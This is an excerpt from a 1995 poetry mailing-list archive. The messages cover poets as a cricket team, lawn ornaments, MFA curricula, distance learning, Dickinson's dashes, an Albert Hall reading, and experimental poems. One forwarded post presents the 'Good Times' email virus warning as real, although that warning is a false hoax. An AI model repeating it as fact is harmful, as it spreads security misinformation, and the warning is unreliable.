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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

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396. **R I Caddel**
Re: Top XI
Wed 18 Oct 1995

Hard to defend my ommission of Raworth, other than to say I wuz saving him for the one-day match, where "pin-point accuracy" and economy are required...

As for John Ashbery - too many people can read his wrist these days? I dunno...

Ric

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397. **Gwyn McVay**
Re: a glorious failure
Wed 18 Oct 1995

Dodie, I think lawn ornaments are national across the US, but the particular genres are regional. In Central Pennsylvania, for example, you see a lot of Catholic houses with little 3' tall Virgin Marys out front, standing in a sort of bathtub-urinal contraption. Here in Virginia, you get those flat cardboard cutouts that represent the butt of someone bending over to weed the garden. In both places, you see pedestals cupped to hold huge shiny Mylar spheres, Christmas-bauble red, green, or blue. Shit, I think I feel a poem coming on.

Gwyn

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398. **Gale Nelson**
Re: The Art and Poetry worlds
Wed 18 Oct 1995

Maria,

The program at Brown has gone in the direction of the studio/arts MFA -- went that many years ago, in fact. It seems to work well for most of the writers who spend two years here. The program is designed so that all students take a workshop in a particular genre each of the first three semesters in the program, and an independent study/thesis preparation course in the fourth semester. In each of those four semesters, each student selects one elective -- from anywhere within the university. We have had two poets study Sanskrit, one took two years of modern dance, many have taken video/filmmaking, papermaking, anthropology, languages, and, of course, theory and 'traditional' literature courses. Each writer decides what courses will best complement the act of

writing. For some, that will be a big dose of theory or philosophy. For others, it may be Whitman and Dickinson one semester and Balinese Performance traditions the next. One tends to hope (and believe) that regardless of the course load selected, each writer is self-immersed into a wide-ranging selection of additional reading -- and thinking.

Gale Nelson

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399. Jordan Davis
geese
Wed 18 Oct 1995

Dodie

The town I grew up in (in New York, down the road from Douglas Rothschild) is covered half the year with geese. Lawn geese would have been the equivalent of handing over the keys and showing the geese where we keep the silver and the cigars. I did have a goose lamp for a night light, though. Somebody told me it was a witty thing to have; I have no idea why.

Jordan

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400. Burt Kimmelman
Call for contributors
Wed 18 Oct 1995

Michael Taub (dept of religion, vassar college) and joel shatzky (dept of english, SUNY at Cortland 13045) are in need of contributors to complete their Encyclopedia of Jewish American Authors: Here's who needs writing about (a few juicy choices remain it seems to me):

Fiction:

Jonathan Baumbach, Ethan Chanin, Arthur Cohen, Irving FAust, richard ellmann, bruce jay friedman, thomas friedman, gerald green, robert kotlowitz, wallace markfield, bud schulberg, leon uris, jerome weidman.

POETRY:

Stanley burnshaw, allan feldman, irving feldman, charles fishman, allen grossman, edward hirsch, richard howard, vincent katz, stanley kunitz, allen mandelbaum, gail mazur, cynthia mcdonald, robert mezey, stephen mitchell, lisel mueller, lorine neidecker, george oppen, joel oppenheimer, carl rakosi, david rosenberg, frederick seidel, luis simpson, mark strand, ann waldeman, ann winters.

dramatists:

woody allen, paddy chayevsky, jules feiffer, herb gardner, william hoffman, wendy kesselman, tony kushner, arthur laurents, norman lessing, barbara lebow, susan miller, ronald ribman, murray schisqual, neil simon, elisabeth swados, arnold weinstein.

You can e-mail Taub at [redacted]

Please feel free to mention that I put this message out over the electronic waves, so to speak.

Burt Kimmelman

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401. **Carl Lynden Peters**

Re: Dash it, Emily! (fwd)

Wed 18 Oct 1995

---

i wanted this to go to poetics -- sorry if it's gone around twice --

> *in "There's a certain Slant of Light" -- which i read as a certain kind of poetics piece -- an extraordinary event occurs re dickinson's use of punctuation, an event which maybe illuminates to some degree those fantastic dashes -- here's that stanza, from memory -- i can't recall the whole poem, but here's that stanza: "Heavenly Hurt, it gives us--/ We can find no scar,/ But internal difference, Where the Meanings, are--"*
>
> *i certainly read those dashes as gaps left by language -- as a "grasping towards" -- as indexes of "internal difference" where Meaning _is_ --*
>
> *the grammatical comma in that line -- "Where the Meanings, are-- -- is, for me, an extraordinary event -- she gets _it_ right there -- she got _it_! the doors of perception open, opening -- god! i can't put this into words --*
>
> *if this post can serve any useful purpose whatsoever -- by just drawing attention to that incredible line -- that's enough*

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402. Charles Alexander
Re: a glorious failure
Wed 18 Oct 1995

> *Not to change the subject, but is anyone else on this list familiar with lawn geese, these concrete statues of geese that are like three feet high that working class women have in their frontyards and dress in different costumes for different seasons and holidays? As I type this there is a lawn goose in this very yard dressed in a pumpkin costume--there are other similarly dressed lawn geese throughout the neighborhood. Though my mother doesn't have a Thanksgiving outfit for her lawn goose, she assured me that there are pilgrims outfits available--both for both male and female pilgrim lawn geese.*
>
> *When I was talking on the phone earlier today with Kevin (Killian) I asked him if he thought lawn geese was a national or a regional phenomenon. He told me that's the kind of thing Spicer would have known.*
>
> *Dodie Bellamy*

Lawn geese, no? But pelicans, jockeys (that one's racist), and other lawn ornaments. I think that the geese may be regional, but that lawn ornaments (and not limited to working class women) are universal. My favorite were in various barrios in Tucson where occasionally one could see refrigerators without doors in lawns, sometimes cut off so as not to be so tall, forming a kind of grotto, lit or unlit, filled with Virgin of Guadalupe, personal mementos, wishes for the ill or deceased -- small personal shrines made public.

charles

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403. Willa Jarnagin
Re: a glorious failure
Wed 18 Oct 1995

Dodie & Gwyn, Here in Somerville MA we have the bathtub Marys, and Jesuses too, all over the place. One house around the corner from me has on its front a big ceramic-tile mural of Jesus, which has the unfortunate effect of looking like an exposed shower stall. What's with this religious bathroom fixtures theme? Next we'll have Buddha sitting on a toilet and Kali wielding curling irons. I haven't seen the flat butt people though I've passed some yards with little plastic animals in the gardens.

Willa

On Wed, 18 Oct 1995, Gwyn McVay wrote:
> Dodie, I think lawn ornaments are national across the US, but the
> particular genres are regional. In Central Pennsylvania, for example, you

> see a lot of Catholic houses with little 3' tall Virgin Marys out front,
> standing in a sort of bathtub-urinal contraption. Here in Virginia, you
> get those flat cardboard cutouts that represent the butt of someone
> bending over to weed the garden. In both places, you see pedestals cupped
> to hold huge shiny Mylar spheres, Christmas-bauble red, green, or blue.
> Shit, I think I feel a poem coming on.
>
> Gwyn
>

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404. **Mark Roberts**

Re: Top ten poems

Wed 18 Oct 1995

> *As a piece of self-indulgence, here's my first XI (but not in batting order):*
>
> *Edwin Morgan*
> *Dennis Lee*
> *Dinah Hawken*
> *Leigh Davis*
> *Bill Manhire*
> *Geoffrey Hill (at least _Mercian Hymns_)*
> *Michele Leggott*
> *James Brown (no, not _that_ James Brown)*
> *James Norcliffe*
> *Craig Raine*
> *Geoff Cochrane*
>
> *with T.S. Eliot as coach.*
>
> *Oops, no Americans (unless you count the Possum) - blame it on my Anglocentric upbringing. At least they could probably play cricket better than the NZ cricket team.*
>
> *Incidentally, that issue of the Sunday Star-Times also contained letters stating that McCahon was not an artist and that no-one wants to listen to NZ music - all that nasty avant-garde rubbish. Brrrr!!! Scary.*

Who would be the 12th poet/person. In a cricket team of poets I would imagination that carrying the drinks would be an extremely important role.

Mark

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405. **Aldon L. Nielsen**
Re: Distant Lover
Wed 18 Oct 1995

Loss: As Marvin Gaye knew so well, distance loving is valued, but ain't nothing like the real thing --

When I was a grad. student, I worked in continuing education arranging ITFS broadcasts of university courses, both credit & non-credit, for students in groups at their places of work. As a faculty member, I have several times taught classes that were relayed by live video to branch campus sites in other parts of the state.

The teaching itself went just fine. The students in the "main" classroom were greatly frustrated by their inability to see their colleagues at the off-campus sites, but we did have live voice hook-up, and the off-campus folks felt free to join the discussions. (In fact, they often continued discussion in their own groups after the class.) Particularly important was the fact that we had live technicians in the booth working the cameras so that students didn't sit in front of a static shot for an hour & a half.

But, the possibilities of Distance Learning, like those of the web itself, are at present being vastly overestimated by people who hope to profit from the technology, and by campus administrators. The fact is that faculty fears of being replaced by video are not just untenured paranoia. I've just written a speech for a humanities conference at UC Irvine in which I talk about the continued privatizing of the humanites and of the human. To use California as an example -- The state government, _and the university administration_, continue to point to recession and dwindling resources as necessitating the deep cuts to the higher education budget. Meanwhile, the prison budget swells (more money in that budget than in higher ed. this year for the first time ever), and administrative positions (which had grown by 61% in less than two decades) have not diminished significantly.

Instead of carrying the political fight for higher education to the public, most university administrators are turning to increased use of private fund-raising and management solutions to lack of dollars for instruction. Thus, we are being pressured to increase yet further our reliance on part-time instruction, and anything that can teach students with fewer faculty is embraced by management.

Distance learning is being ballyhooed as the answer to any number of real problems, but the danger is that it will substitute for hiring qualified new faculty. I've always believed that part-time instruction should only be used to deal with minor and unexpected fluctuations in enrollment, or to make use of

exceptional abilities offered by instructors who choose not to teach full-time. In the same way, distance learning should, in my opinion, be used only to reach students who could not otherwise be reached (like those in, what else, distant regions) or to bring _exceptional_ opportunities to wider audiences (like a visiting scholar who can't possibly teach as many students as wish to study with that person). Distance learning should never be employed as a means to avoid employing a qualified instructor. If there are enough students to take the course, there should be a willingness to staff it properly. There is no justifiable reason to use distance learning to teach regular courses in the catalogue to people who would otherwise study with a live instructor.

Some deans and presidents have been willing to agree in writing to such principles. Others are laying people off and buying hardware. Most universities I've visited are wobbling in between these positions with no real agreement on principles.

Telegenically yours,

aldon (and congrats. on the book! If you tape the reading, I'd like to hear it.)

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406. Alan Golding
Poems for the Millenium
Wed 18 Oct 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Public congratulations, gratitude, etc. to Jerry Rothenberg and Pierre Joris for the first volume of Poems for the Millenium, which came in the mail today--an utterly mind-blowing achievement.

Alan

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407. Joe Amato
Re: Distant Lover
Wed 18 Oct 1995

---

aldon, great response on the ab/uses of distance learning!... i'd love to see a copy of your speech, even a draft... any way to upload it?... alternately, be happy to send along an sase w/plenty of postage...

joe

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408. **cris cheek**
Albert Hall
Wed 18 Oct 1995

Thanks to Ken for a breezy and basically accurate out front response. Here's a rambling take from the backstage viewpoint during which I'll try to talk as much about performance qualities as possible, in the hope that it's of interest.

Originally planned to offer a solo version (for 3 voices - holding hand-sized self-powered speakers with two other tracks of my own voice recorded and mixed in split stereo) of some work I've been engaged with called 'fogs'. Decided about five days before the event that since so many people were going to be standing pretty still and reading then perhaps bringing a more performance attitude to the event could help the overall dynamic - pretty sure I'd been booked on that basis after finally seeing the publicity announcing 'poetry and performance'. Must admit that a key element in this decision (although there was a cop out side to it as well) was the relative imbalance of women on the bill (to say nothing of Ken's noted token black poet). Sianed and I had just done a three and one half minute piece for Anglia tv and decided simply to extend that item. So, instead of taking a briefcase I loaded the car with Harmonium, Violin, Clarinet, Pine tree and so on - not exactly the 'normal' poetry reading accoutrements - picked up Sianed from the electronic music studios on the University of East Anglia campus (where she's taking an MA) and drove to London.

Arrived Albert Hall just before 4 in the afternoon, so as to spend some time sorting out our slightly more complicated sound. The 'natural' acoustic is extremely 'live'. We can fill the hall even without any P.A.

Unloaded straight onto the stage where Brian Catling was trying out his 'Cyclops' mirror to the lips (what certainly resembles a talking arsehole) routine. There's an atmosphere of curious calm - almost but in the event not quite, before storm - suspension of disbelief.

Mike Goldmark, the bookseller and promoter of this event, strolls over in barefeet and (for a man who's hired this hall out for £20,000 and is about to go bankrupt, or so he says) exudes wonder at what's going on around him and how well it's all coming together.

Technically the hall is almost already set, with a giant screen hanging above the stage. The sound is thankfully excellent - top quality monitors and radio mikes for all. Gradually poets begin to assemble on the stage and a possee of photographers buzz around us. I swear there must have been shutters going off every couple of seconds for much of the time - and then there are others

filming from the stalls, from the stage. The last time I'd been here I'd seen Jimi Hendrix burning his guitar before I even hit my teens.

Much of the next three hours is a coming and going (definitely poetry rather than rock 'n' roll) gathering with most people just sitting around on the stage and chatting, in between brief sound checks. Paul McCartney arrives and does his, simply grinning and saying hello (although I can't help feeling that Ginsberg picked the wrong Beatle, Ringo would have been much more 'challenging' as an accompanist).

I came into the hall at one point to find a shocked camera crew witnessing Aaron almost riveting the Albert Hall to its foundations with his vocal tests. "It takes a long time for each sound to fade" he said. Pretty remarkable, and 'profoundly deaf' in deed (to be fair to Ken that's how many have introudced him).

Now there's a de rigeur mutual signing of programmes taking effect which keeps most of the poets busy and introductory until the off. My most enjoyable exchange was with Brendan Kennally as we became almost hysterical over the book title 'Tough' (both for reader and writer) and took bets on which of the two of us would first write it. Other conversations - with Ginsberg about photography and his diet (not that either of us suggested that the two were related) and his surprise at how well (in broad comparison to his poetry) his photographic exhibitions had been received in the US press - with Zephaniah about the anonymity as distinct from the occasional celebrity status of the 'other' with particular reference to internment of Iraqi people in Britain during the Gulf War - with Sorley MacLean about his love of Norwich - with Bill Sherman (likewise my great surprise at seeing him) about the recent spur to Independent movements given by French Nuclear testing in Tahiti (he spends a lot of time there these days) - you know, it was very friendly and rangey and consequently pleasant.

Michael Moorcock is sitting in a dressing room trying to read Denise Riley's 'Mop Mop Georgette' while I'm testing a light I picked up that morning which I had designed so as to react to the attack and decay on my voice (even down to the breath - I though you might have spotted that Ken) and shade it in my customary layerings of red lettuce and spinach (guess that's what looked liked xmas effect from a distance). He seems almost drunk and distant, affable but buffoonish.

There's a green room full of cheeses and breads and fruits.

Finally the atmosphere gets more down to business as the evening begins to show.My experience of the first half was from backstage. There was a tannoy relay of onstage sound and a black and white feed from cameras in the hall onto

a monitor close by the stage door. There are two broadly identifiable poets present now backstage - the jovial and the introspective.

Suddenly, or so it seems after a slightly late start, Brian Catling is on. He used to stutter frequently in readings but he's worked hard at that and lost his stutter completely in this kind of work. I'm wondering how he'll go down, I enjoy his work immensely myself, and am delighted to hear loud applause and cheering as he leaves the stage with a customary grin across his now asymetrical face (you won't understand that unless you reflect back on the mirror he's been holding up). The fact that so many in the audience are obviously determined to enjoy themselves and root for the performers is encouraging to say the least. Couldn't see his film well from backstage and I'm looking forward to seeing the video of the event in another thirty years time (the original Wholly Communion has just been released on video btw).

Sianed and I relax as Aaron launches out into some of the most intricate and compelling vocalising of language one could desire. He literally explores every crevice in each word, every fault-line of each phrase. The texture of his speaking is for me exemplary. He compels the silence to shatter itself - his closely navigated breath fully acknowledges the architextural space into which it is sounded and he positively brings language directed back into his body. His is an integrated gesture. In comparison Artaud's recording of 'To Have Done With The Judgement Of God' sounds unconvincing. As he finished, what sounds backstage like a massive cheer fills the hall and harsh applause rains into the dressing rooms through tiny wall-mounted speakers as I go through a simple centering and balancing (adapted from something Steve Paxton taught me) warm-up routine.

It 'sounds' like a big audience, but that's only based on applause.

Moorcock's on but I can't hear him properly. Aidan Dun's guitar tinkles away and momentarily I think of Ali Farka Toure, then Donovan as his voice comes in (he was most distant of the performers for me, gets reviewed as Rimbaud like, or some such, in The Independent newspaper - what's Rimbaud like mean?) and then I can make out Denise Riley, sounding strong for all her terrifying nerves. You pick someone close to the front and just read to them intimately, as if they were the only person there, if the fear grips you too tightly. Sinclair (yes he did have a strong hand in the programming) next. I watch him standing close to the front of the stage as we wait in the bull run, ready to rush on and set up our gear in the interlude provided by film of David Gasgoigne.

In the dark we set up a table for the harmonium, two mike stands, a hand-held light, a string of electronic effects. I take off into the audience, walking down the centre aisle to the back of the hall, surprised to see just how thin the audience feels closest to the stage (in the expensive seats presumably), looking

around and thinking somewhere between 1-2000 people. Great, as Ken says, for a poetry gig, but less than it sounded backstage. Gasgoigne's film lasts just long enough for composure.

I'm standing in the hall feeling kind of invisible. It's that moment when adrenalin is closing on the surface. It's a complex moment of narrowing focus and softening, opening awareness. Trying to gather energy and relax, to erupt and be still. The lights go up on an empty stage. The first thought I have is that something has gone wrong and Sianed is rushing around backstage having a technical nightmare, but then she appears, calmly picking up her violin and bow (I'm being deliberately over the top in this description). This is what I wanted to happen - a woman playing the violin, going through huge distortion pedals, chorusing and reverbs fills the Albert Hall (scene of Proms and romantic string gush a go-go ever since Albert had his Prince Albert job) with wildly textured noise (dodging and burning classical references in a brief homage to Hendrix). Masking Ivo Papasov having a jam with Giorgos Mangas in the minuret of an east end Mosque I call back on clarinet, moving down the centre aisle and spinning the harshest reedy sound I can tongue in circles over the heads of those immediately nearest to me and out into the dome. (I always worry about bashing someone on the head inadvertently in that first adrenal rush). Rushing themselves (this is self-critical in some ways too, it's a going out and over the top sensation, launching from trenches with oneself as an enemy) to meet the scale of the event, the audience (unexpectantly for us and somewhat disconcertingly) bursts into a spate of applause as there's an awkward break while Sianed switches to harmonium and sings a brief phrase modelled on Mongolian long song with lyrics in part-invented language embodied from her native Welsh. (a lot of people took this for Bulgarian vocal styling, in fact it's considerably different - a singing of the vast landscapes on the edge of the Gobi desert - although using the hard edged throat voice more widely familiar from recordings and concerts by Trio Bulgarka or Les Mystere des Voix Bulgares). I burble along on a large turtle ocarina being picked up by the voice clip mike. A quiet and reflective time to gather again and take stock. How many people here have had that experience of watching themselves during a performance? - of settling into a moment (almost slow motion) and pushing on. We segue into simple rhythmical phrases of breath - hand-pumped harmonium and voice. It's time to try out my new voice-activated light. Only collected it this morning and wonder how subtle I can get with it on the first time out. The light is attached to a circuit activated by a microphone that picks up the attack and decay on my voice and triggers the bulb. I've been working with hand-held lights in performance for a couple of years now but this a new development. I like the intimacy it brings to the space immediately around the body and how this relates to the space of the breath and heat and energy

immediate to every body. So the language I use hovers around breath and pulse and blood and sound and light in a brief and humouress improvisation centred around energy trapped between the living and the dead. It went close to something like this and was accompanied by rising and falling harmonium with the air sometimes fading so that notes dropped out of hearing (like Bach's 'Art of Fugue' last gasps) and the light responded on and off as I spoke / well there's an element of Shakespeare gone horribly wrong declamation in this monologue at times as well:

'To who comes (brief whistled snatch of the old vaudeville song 'whistling
in the dark') whistling in the dark
i'm not a heaven
man, delibidinous breaded wheels along arteries, lawless carriages

this big wet shiny bird, stuffed - full of caves
woke, in this wall of cold leavings wobbled on the diaphragm
to figure spilt beer on the public bar, voiced by some manic street preacher

majestic mover the river
looking when the badly ties on trash drops wake up
in the eyes I came to see my familly and got stuck (somewhere around here I
ate into the spinach and lettuce around the buld)

too bright that kind of warbler suggests, they offered me a dream bedroom
muffed it, all the slack went out the copy came undone
I scooped first prize, in the Mirror - horror of horrors - Breath For Life

look, lungs, not really like a foxglove
more circular, more avid - pins into action when electric circuits
wires out of sight, be careful under ladders, no
letters, no known, no postmark, on holiday, be back for tea, I hope
milk's not off

shoes to be taken for mending, I understand
how to navigate through 'things' but don't yet understand why
he's so sanctimonious, so acrimonious, so parsimonious, so moaning
moaning - the man is always moaning
a rising

one more box coming up, he cages all their dusty faces
done a long stretch, plunks hot brittle oof not long

go out and tidy the garden, go on, pull it all up by the root splice into orange marmalade where buzz of bee in microphone fuses with footage of wind waves across cornfield in camera, on tv a talking head announces that the assassination of a political opponent, spread disco fever through Peking you give a me plas-ma (sing, sing) in the morning and plas-ma al-l throu-gh the

night p-p-p-p-p-plAS -MAAAAAAA when you kiss me, and plas-ma when a you hold a me a tight. You give a me plas-ma (to the tune of fever out of Peggy Lee via The Cramps of course)

Well what do you expect me to say? For in this shady passage throughout life - during which the future is and remain radically unknowable -

death is the only certainty

I wrote a poem about it somewhere (then drawing a handful of torn paper scraps from the breast pocket of my jacket and scattering them onto the floor) - shit, it's absent minded.

Speech as locked in brick released as part encoded partly pre-recorded speech

(more lettuce tongueing)

After all, and after all that
death is merely a permanent projection - a hot, reception'

Then we segued out with a 45 second tape of scattered voices, mbira and jaws harp on the hand-held speakers I mentioned earlier whilst adding to the part singing part scat deconstructions, turning the speakers back into my body whilst Sianed was now holding the light on the pine-tree pole. Finish, warm applause - enjoyed this moment and get off, grabbing our gear as we go. We both enjoyed it. Felt settled through it.

So what was it all about Ken? I'm not convinced that's the most useful question. But perhaps that extensive discursion 'helps'. My and Sianed's interest in performance more and more focusses onto the pace and texture and trajectories of events through time and states of energy rhyming within that process. The work is always language / breath / voice / body based. I'm often keen to engage with the paradoxical and critical image of the performer as trapped by the audience and vice versa - the presentation of the problem of spectacle. 8 minutes in a shared context on such a scale with little set up in a poetry event which is overloaded with poetry? Answers to a seperate subject heading of 8 minutes please. My alternative might have been to simply breath and let the light work on me - only that. Next piece will probably become the concert for breath I've wanted to try for a while now.

We left a small pool of paper fragments from within which most of the poets read during the rest of the evening. I like those fragile physical residues too.

Bill Sherman followed us on and then Horowitz took us through to the interval but I missed him. Spent most of the interval signing 26 programmes and talking to Zephaniah about the GLC and Hand Wangford's Lost Cowboys (this is very in-British stuff so I'll shift straight to the second half).

Several of us watched the whole of the second half from a box directly opposite the stage at the back of the hall. Perhaps I've haven't got a great deal to add to Ken's account excepting a different taste. I liked Doug Oliver's 'Oracle of the Drowned' and was curious to hear his 'african' material, although he seemed distant (even prurient) rather than engaged with it to anything other than intellectual intensity. More body please Doug.

Alice's voice interested me in so much as it seemed a good example of a register which seems to me to have a period stamped on it that is not of today.

Kennelly was tremendous and I even fell for the craft of his little girl poem that Ken got slimed by. Sorley didn't read his best stuff - which for me is the wind and waves whistling gaelic sea and mountain pieces. Anne Waldman was terrific, simply very much stronger each time I get the chance to hear her. I missed Kathy Acker's presence though.

Ginsberg had the best rider (herbal trea and flowers) - poets might think more about riders. Catling had a great one with the British Council - when they asked him to perform in Israel for little money he demanded the opportunites to snorkel in the Red Sea and fire an Uzi, he got both.

There were several serious acid casualties backstage afterwards - "hey man, ahve you read Robert Anton Wilson?". Paul McCartney and Linda McCartney both shook Sianed's hand and said how much they'd enjoyed our contribution (must have been while I was standing by the entrance handing out leaflets for an upcoming Slant gig), she forgot to ask for a free consignment of latex pies. I'll never forget the muppet-like image of Ginsberg waggling his finger at McCartney and roaring "one more time" as the latter struggled to find another variation on the I fought the Law and the Law Won style riff he was wagering. And Ginsberg's seventeen syllable poems had a strange double image. Was he that young boy lying in his room or is he really still banging on the young's drum "one more time"?

This is the morning after the morning after and I come downstairs to 'Wild Thing' ('but I wanna know-oh for sure') followed by the strap line 'the scent of freedom' playing out on breakfast tv. Apparently Sianed and I went out in some form or other on breakfast tv yesterday but I didn't see it having been at Filthy McNasties (a packed Islington sawdust and salad wag's dive) for lock-in style late night candle-lit drinking bout during which I talked to Anne Waldman about the School fur Dichtung in Vienna, saw Ginsberg undo the top button of his royal blue shirt and witnessed Shane McGowan (ex Pogues epic pisshead) slumping onto a wet bar with his sideburns mopping up what the slop cloth fails to catch. Somewhere in there (I wasn't drunk myself - had to drive home 125 miles at three in the morning then go straight into college for 9.30 - in Norwich itself 45 minutes drive away - the following morning) I caught up with comedian

Arthur Smith whose brilliant 40 minute deconstructed, prozac-driven 'Hamlet' I'd enjoyed in Edinburgh and together we reprised its apopleptic song :

"I've seen your arse
Your Dirty great arse
I've seen your arse
In the water". It was that kind of night. Hilarious and mostly askew.

love and love
cris

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409. **eric pape**
Re: a glorious failure
Wed 18 Oct 1995

I'm not sure if this is significant, but there has been a recent spate of pink flamingo thefts in Baton Rouge. Rodger Kamenetz had one filched from his front yard, in bright daylight, just before he moved to New Orleans.Is this the death of the decorative arts? Thanks, Eric.

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410. **eric pape**
Re: Colonialism
Wed 18 Oct 1995

Alas, Jeffrey, only studying for exams.... Maybe I'll have some soup! Thanks, Eric.

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411. **eric pape**
Re: The Art and Poetry worlds
Wed 18 Oct 1995

Maria: I kind of agree kind of totally. I know what you describe was true, at least, in my case. Can't speak for others. For me, oddly, theory courses were a refuge fromthe kind of half-baked pseudo-hipness of the workshop mentality here in BR, ie, the cult of the funky Southern writer. After listening to other posts, however, I am beginning to seriously wonder how common my experience was. I think the best bet may be (as someone else requested: unfortunately I have moved too quickly through the posts to remember who specifically) to require poets to develop other interests, IE, theory, art history, information, dance, sculpture, whatever the hell, just not to be so narrow. Thanks, Eric.

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412. Burt Kimmelman
Re: Distant Lover
Wed 18 Oct 1995

Aldon,

Writing to you from a campus that is high-tech and is going full steam ahead in the area of distance learning, I can say that the move to dh seems inevitable. but is it good for all subjects and students? the emphatic answer is no. and people like is damn well better make the case as to why not, asap.

Burt

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413. cris cheek
Re: in dreams
Wed 18 Oct 1995

This mortal coil forsaken hog swallows do supper

Film presage in humidland. Film also

Dwarfing the Rengathon at Giants Stadium

Weening drawn one drum that time presents

Continue now, that the angel storm has passed.

Film the books were dreams and in the reams were latex books

What travel we could scrounge from the newspapers

of Palookaville & the dead heroes of Guadalajara

empowering scores of liberated motzas in tents of Lacanian

libretti, salted with mocha, much more than with roughage added to taste

or tremolo, finding the shores awash with alphabet, proclaiming nothing

In and flew, patching their rents

completely set on the sea as so much crabbiness

which is only like cancer districts and tunnel music,

diverts attention from wars in three voices and the steady rain of hemlock

falling on the Concerns box & a sob distant as adventure capital

behind the exterior of the city was an interior compost

of scar tissue recording the grain of farm house timber
a rubble of history in the grass where a decapitated statue
unavoidably becomes an image of a nation without a true face
volte face to sell a magazine, a face to turn to the side
of the calcined sheriff and each to each tongues and balls
and they too were skeptical of the value of the face
of souvenirs of deliriums of proctors & priests
but like the strong and weak forces mostly they gossipped
or exchanged their blind letter for a parapetal posture
ramrod strait-laced hoping for a jolt of lightning out
did they radiate bagness over the fragments of blots, or
did they call home once a week, did they walk to work
by dint of rod, glove and puppetry that cauterized my mobile phone
or am I the sealant in the shape you take?
Trickster flickers neon melodies soft by
trying to feel belief in the teeth of induction
or bellwether combed, cleaned, fortified toward
the scene where the parrot of intention is ice cold
between a pick frames becoming a slender and fragrant loop

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414. cris cheek
Re: Sheila, Cris & Jorge's Excellent Adventure
Wed 18 Oct 1995

>On Wed, 18 Oct 1995, Jordan Davis wrote:
>
>> > >> >> >> >> >> >> >> >
>> > >> >> >> >> >> >> >> >spending the bulk of closure with sentient scoops
>> > >> >> >> >> >> >> >> >that fluke picnic shot out of these worlds we spread
>> > >> >> >> >> >> >> >> >say that the center cannot hold the nose tackle much
>> > >>longer

>> > >> >> >> >> >> >> >> >than a clam can sleeve out of incarceration baldly
>> > >> >> >> >> >> >> >> >go where the others fear to operate the biggest
>>donors
>> > >> >> >> >> >> >> >> >& where Mars collides with the small world of "It's a
>> > >>small
>> > >> >> world"
>> > >> >> >> >> >> >> >> >> >> >> >> >ripe for macroscopes to pump or slice or
>> > >> >> butterfly away
>> > >> >> >> >> >> >> >> >> >> >> >> >> from that ardent bugged heliotrope and
>>pledge
>> > >> >> allegiance
>> > >> >> >> >> >> >> through
>> > >> >> >> >> >> >> >> >> >> >> >> > ostension--we stopped short of the
>>shortstop
>> > >> >> stigmata
>> > >> >> >> >> >> >> >> >> >> >> >> this time pencilled in as tangly wisps
>>instead of
>> > >> >> memory
>> > >> >> >> >> >> >> >> >> >> >> >> > detonations: but don't forget to dismember
>>the
>> > >> >> doloroso
>> > >> >> >> >> >> >> >> >> >> >> >> pitchpipe with its squeal subtracted and the
>> > >>dotted-line
>> > >> >> >> >> >> >> relationships
>> > >> >> >> >> >> >> >> >> >> >> >and sing "I Love Time but I love Your Spatial
>> > >> >> Simulacra Much
>> > >> >> >> >> More"
>> > >> >> >> >> >> >> >> >> >> >> >> for the brevity inferred and for the latchkey
>>touch
>> > >>more
>> > >> >> >> >> >> like a

>> > >> >> >> >> >> feather
>> > >> >> >> >> >> >> >> >> >> drizzling blood of picklet beet all over the
>>related
>> > >> >> phenomena
>> > >> >> >> >> >> >> >> >> > braising from punch a drunk streak which no
>>absolute
>> > >> >> >> bearings flew
>> > >> >> >> >> >> >> >> >> >> off the Handel I did not miss for Pergolesi was
>>by the
>> > >> >> >> pergola with
>> > >> >> >> >> >> >> >> >> >> shadows of her former selves implanting
>>pre-recorded
>> > >> brick-
>> > >> >> >> >> >> >> >> >> > layers as insignias in the privacy of Manny's
>>rheumatic
>> > >> >> slumber
>> > >> >> >> >> >> >> >> >> creased, cemented, spun from claustrophobia the way
>> > >> >> >> >> >> >> >> >> that glitches suggested themselves as sexuation near
>>the
>> > >> border
>> > >> >> >> >> >> >> >> of profundity where drudges still are visible but begin
>>to
>> > >> >> matter less
>> > >> >> >> >> >> >> >> than duality or the boyishness of dusk. I, too, miscast
>> > >> >> >> >> >> >> palpitations as preambles to the rust we might someday
>>finagle
>> > >>into
>> > >> >> >> >> >> >> the market of dwarfs' shortcomings that are longgoings in
>>the
>> > >> thrust of
>> > >>> >> >> memorized vibrati larkish and unpoised though frequently
>> > >amiss in

>> > >> >> >> >> the slump of confetti being so much of the knocky memento
>> > >> >> >> that we cried under the dandelions where no pulse was original
>>enough
>> > >> >> >> for the dog to be plankton or the nurse a gate in an iron dress
>> > >> >> as pressed as any moment striped with platitudes and pain
>> > >> >> soldering the fatherly clavicle to the theory of colors
>> > >> wounded round and playful although never sleek
>> > > swimming in the northblood channel and evening being a paperweight
>> > long freighted. Authenticity a crevice for the playful heart
>> > there's some percentage you should never invest above the buddhist
> who said to the hot dog vendor "make me one with everything" and yet proceeded to tear his tongue with her wine-grained books of the rank and file
>>

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415. Kenneth Goldsmith
Virus Alert
Wed 18 Oct 1995

This warning came to me from someone who usually knows what he's talking about..Better safe than sorry...
--kennyg

> *There is a computer virus that is being sent across the Internet.*
> *If you receive an e-mail message with the subject line "Good Times", DO NOT read the message, DELETE it immediately. Please read the messages below. Some miscreant is sending e-mail under the subject title "good times" nation-wide.*
>
> *If you get anything like this, DON'T DOWN LOAD THE FILE! It has a virus that rewrites your hard drive, obliterating anything on it.*
> *Please be careful and forward this mail to anyone you care about.*

==========
========== Kenneth Goldsmith
http://wfmu.org/~kennyg [redacted]

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416. Wystan Curnow
Re: Evaluation
Wed 18 Oct 1995

James, as to who I think they're all Brit. Cricketers and there's a big indoor game coming up at the Albert Stadium in London I think. do you reckon value judgements are a subtefuge? I've heard people on this list claim that regarding poems. at least they are a handy shorthand. yesterday in a staff meeting discussing a proposal for a freshman paper in popular fiction, someone attacked it because the texts were second rate, which did seem to be an acceptable view to the proposers although they were annoyed, but when I said the texts were uncool, it was taken as a personal attack by the proponents. Colleagues were divided as to whether I had gone too far. I'm still figuring out what it was all about, any ideas? wystan

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417. Wystan Curnow
Re: a glorious failure
Wed 18 Oct 1995

